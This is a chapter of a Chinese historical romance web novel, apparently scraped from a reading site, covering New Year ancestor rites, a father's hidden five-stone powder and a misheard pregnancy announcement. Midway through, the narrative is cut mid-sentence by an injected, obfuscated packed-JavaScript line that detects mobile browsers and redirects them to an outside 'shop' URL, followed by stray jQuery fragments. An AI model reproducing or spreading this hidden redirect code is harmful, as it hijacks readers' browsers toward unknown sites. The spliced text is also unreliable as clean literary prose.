从皇宫到卫国公府还有好长一段路,这要是光靠两条腿,还不知道走到什么时候去。


    姜璎和赵咎上了牛车,她身上礼服繁重,又累了一天,脑袋一沾上赵咎的肩膀,便忍不住昏昏欲睡。


    郑氏等人早已回到各自院子,不论大人孩子,都是衣服一换,倒头就睡。


    府里下人们有条不紊地进行着手中的活计,各个角落打扫得一尘不染,贴桃符,摆食案,椒柏酒也已经温上,就等主子们歇息好,起来祭祖。


    姜璎睡了两个时辰,精气神总算回来一些。她捂着嘴小小地打了个哈欠,准备起来,才发现腰上缠着一圈手臂,赵咎闭着眼睛,声音含糊慵懒,“不再睡会儿嘛?”


    今年的元旦格外热闹。


    外头灯火通明,亮如白昼。


    仆婢们知道女君的性子,平常日子也就罢了,今日是无论如何也不会赖床的,是故并没有围上幔帐遮光。


    “不睡了,你也快起来。”姜璎坐起身子,推了推某人的脑袋。


    赵咎抬手覆住眼睛,假装没听见。


    姜璎喊了一声,“赵咎。”


    躲不过去了,他只好直起身子,跟黏糕似的从后面搂住她,不太高兴地嘟囔道:“我们回姜家吧,我可以入赘上门的。”


    “这话要是被四兄听见,估计又要挨骂。”姜璎眼底浮现一抹笑意,“再一个,你以为入赘就不用早起祭祖了吗?”


    赵咎:“……”


    一番洗漱更衣,夫妻二人前往正院。


    得益于邢如风的“调理”,赵堰的身子骨也算是有了起色,虽说不能见风,但祭祖这样的大日子,还是可以起来的。


    祭祖结束,赵堰被管家扶着回房,赵咨有心侍奉父亲身侧,又要顾忌妻子身体,最后赵慎主动请缨,为父尽孝,倒是很好地解决了两难问题。


    没了所谓的“一家之主”,场面迅速融洽起来。


    赵咎用木箸沾了一点椒柏酒让赵明愉尝尝,刚会走路的小丫头睁着明亮的眼眸,张开嘴舔了舔木箸,然后整张小脸皱成一团,泫然欲泣地扑到母亲怀里求安慰,把大家逗得哈哈大笑。


    接着是龙凤胎,赵恃赵恂,赵恪,赵怀,赵慎……年纪从小到大,依次喝下椒柏酒。


    赵恪被辣的吐了吐舌头,赵怀严肃道:“三郎!”


    身为士族子弟,这怎能做出如此不雅的举动?


    赵恪背着兄长悄悄翻了个白眼,赵言觉得这一幕有点有点眼熟,看向赵咎,这小子不会以前也是像这样背着他翻白眼吧?


    赵咎眨了下眼,白白净净的,看着无辜极了。


    姜璎轻咳一声,冲赵咨等人道:“父亲还在家中等候,我和赵咎先过去了。”


    姜昀昨夜饮了不少酒,一觉醒来,脑袋疼得不行,怀里抱着的妻子旧衣也成了皱巴巴一团,他扶着额头下床,就听见姜五爷在外头跟姜璎告状。


    “父亲现在是越来越不像话了!小石头,你可得管管他!那五石散是人能吃的东西吗……”


    姜昀心道糟糕。


    姜五爷越说越起劲,把姜昀书房架子上面藏的五石散的位置,一并交代清楚,“你去找!保证找得到!”


    “阿兄!”


    “哎干什么?我是为了明昭好……别拉我,别拉我!”


    姜五爷被一母同胞的妹妹拽走训了一顿。


    姜昀丧妻多年,已经够苦了,偶尔服些五石散解解闷怎么了?


    姜五爷梗着脖子道:“五石散对身体无益!他现在正值壮年,没有什么感觉,等老了以后就知道悔了!”


    声音逐渐拉远。


    姜昀暗暗松了口气,赶忙洗漱更衣,抢在姜璎去书房之前,从内室走出来。


    “阿池!”


    “爹爹/岳父。”


    袁遗早就回汝南郡,姜璎望着父亲略显憔悴的脸庞,心中泛起酸涩,她上前挽住姜昀的手臂,柔声道:“爹爹,我让人煮了醒酒茶,你喝完,我们再一同用早膳。”


    “怎么不用了过来?”姜昀皱了皱眉,目光不善地望向赵咎。


    这臭小子就是这么照顾他女儿的?


    姜璎笑道:“我起得晚,不是很饿。而且,我想过来陪爹爹一同进食。”


    姜昀心中顿时熨贴不已,果然还是女儿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17461911|173897||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    最贴心!


    他将醒酒茶一饮而尽,一家三口去了前院用膳。


    姜璎只字不提五石散的事,只在早膳过后,开口道:“爹爹,紫姨一个人留在秦州,未免太过孤单,不如把她接了来,这样家里也热闹些。”


    姜昀眉头一皱。


    他这两个妻妹,一个比一个疯,要是来了盛京,闹出笑话。


    “还是……”算了吧。


    话没说完。


    姜璎双手交叠放在身前,叹了口气道:“母亲早逝,大家又不在。我身边除了姨母,也没个正经长辈提点,如今有了身孕,总归不踏实……”


    等等!


    姜昀和赵咎翁婿俩脑子一懵,异口同声道:“你说什么?”


    “身孕?你有了身孕?”


    “不是,你哪来的身孕?”


    “乖女,你别是骗爹爹的吧?”


    “阿池,你有身孕,我怎么不知道?”


    翁婿俩一人一句,姜璎根本没有插嘴余地。


    赵咎说完,又遭岳父大人冷眼,随后是毫不留情的痛斥,“你还有脸说!阿池的身体,你不上心,准备让人来上心?”


    赵咎被骂得狗血淋头,也不敢还嘴,他眼巴巴望着姜璎,脑子里一团乱麻,算了同房的日子,又算姜璎的癸水。


    最后脱口而出:“不对啊!你前些日子才来……”


    紧急刹停。


    没好意思在岳父面前说出癸水二字。


    毕竟是妻子的私事。


    “什么身孕?”姜璎一脸茫然,后知后觉:“哦,是我说错了。把若是说成了如今。”


    如今有了身孕。


    若是有了身孕。


    两个字,意思天差地别。


    姜昀:“……”


    感觉被女儿戏耍了!


    危机解除,赵咎松了口气。


    他就说嘛,他们平时同房都有用羊肠避孕……他还偷偷喝药了,怎么可能弄出孩子!


    姜昀抹了把脸,觉得女儿说的也有道理,虽然现在没有孩子,但说不定过两个月就怀上了呢?


    萧止柔身体不好,还是紫菀过来看顾让人放心。


    “我这就派人去接。”